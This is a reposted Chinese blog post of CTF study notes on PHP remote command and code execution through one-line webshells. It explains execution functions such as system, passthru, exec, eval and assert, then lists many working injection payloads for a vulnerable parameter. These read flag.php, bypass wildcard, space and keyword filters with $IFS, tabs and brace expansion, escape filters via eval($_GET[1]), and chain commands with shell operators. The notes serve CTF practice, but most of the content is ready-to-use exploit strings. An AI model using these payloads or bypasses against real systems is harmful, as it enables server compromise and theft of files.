【转载】cty笔记转载
一句话木马相关命令执行
- 语句
- system()
- 执行外部程序(命令行)并返回命令输出的第一行为字符串.
- 失败返回 false,如果没有找到命令返回空字符串.
- passthru()
- 与 system()不同,passthru()直接把命令执行的结果输出到标准输出,而不返回.
- shell_exec()
- 返回输出第一行的内容,无回显.需要反弹 shell 使用.
- exec()
- 不回显,返回命令执行的结果.
- ``
- 在 php 中,反引号"`”是可以执行系统命令的.
- 反引号和 shell_exec()等价
- system()
- 命令执行
- 解法
- 解法1:passthru
- ?c=passthru(“tac%20fla*”);
- 解法1:passthru
- 解法2:绕过*号
- 假如*号被过滤了,我们可以通过?c=passthru(“ls”);
- 先获取flag.php是目标,然后再通过?来匹配单个字母,也就是fla???匹配flag.php
- ?c=passthru(“tac%20fla???”);
- 解法3:反字节符配合echo
- ?c=echo(
ls); - ?c=echo%20
tac%20fla*;
- ?c=echo(
- 解法4:带参数输入
- ?c=eval($_GET[1]);&1=system(“tac%20flag.php”);
- 1参数逃逸,不属于c,可以使用被ban内容
- web31
- 解法5:exec
- echo%20exec(“cat%20f\lag.p\hp”);
- 解法6:system
- ?c=system(“tac%20fla*”);
- 解法7:利用cp或mv命令将flag拷贝到别处
- ?c=system(“cp%20fl*g.php%20a.txt%20”);
- 然后浏览器访问a.txt,读取即可
- eg. web30
- 解法8:万能
- ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
- ?c=eval(array_pop(next(get_defined_vars())));
- 如果;被ban,php代码最后一行可以不用; 然后换成?>就行了
- 如果php被ban,可以用短标签
- 解法
- 对小数点的限制可以使用通配符*或者占位符?来绕过
- preg_match是正则匹配
- /i : 忽略大小写
- 过滤空格,flag:cat$IFS
ls - 绕过空格过滤:
- ${IFS}$9
- {IFS}
- $IFS
- ${IFS}
- IFS
- <
- <>
- {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
- %09 (tab)
- X=$‘cat\x09./flag.php’;$X (\x09表示tab,也可以用\x20)
- /?ip=127.0.0.1;a=g;cat$IFSa.php
- windows 或 linux 下:
- command1 && command2 先执行 command1,如果为真,再执行 command2
- command1 | command2 只执行 command2
- command1 & command2 先执行 command2 后执行 command1
- command1 || command2 先执行 command1,如果为假,再执行 command2
- 命令执行漏洞(| || & && 称为 管道符)
代码执行
- isset()
- 函数返回一个布尔值,如果变量存在且不包含NULL值,则返回TRUE,否则返回FALSE。
- eval()
- 代码执行函数,把输入的字符串当作 php 代码执行.
- 可以 eval(?>[text] <?[p]),也就是用标签声明一段 php代码结束后再声明下一段代码开始
- 在函数输入的结尾需要打分号,否则会报 unexpected ending
- assert()
- 断言函数 assert(),在 RCE 中可以简单的认为它等同于 eval()
- preg_match()
- 如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。
- preg_replace()
- 函数执行一个正则表达式的搜索和替换
- ${}
- 如果出现在字符串里就会被解析,并执行其中的 php 代码
- ${}本是用于在字符串中嵌入变量和执行表达式的
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 落殷回的博客!
评论



